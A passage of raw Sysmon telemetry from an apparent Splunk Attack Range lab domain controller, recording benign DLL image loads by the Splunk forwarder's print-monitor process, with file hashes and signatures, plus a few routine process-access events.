Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E8B2721E2D89E0CD9C1D2B4FF6B74099,SHA256=BABA6235F44026A79DD69DEAE45BD717A4D486F3779268C475AEBE60D62684CF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000051814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.706{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000051813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.706{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000051812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.706{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000051811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.706{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000051810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.706{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000051809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.706{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000051808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.706{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000051807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000051806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000051805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000051804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000051803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000051802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000051801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000051800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000051799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000051798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000051797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000051796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000051795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000051794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000051793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000051792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000051791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000051790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000051789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000051788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000051787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000051786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000051785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.690{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000051784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000051783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000051782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000051781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000051779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000051777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000051776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000051775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 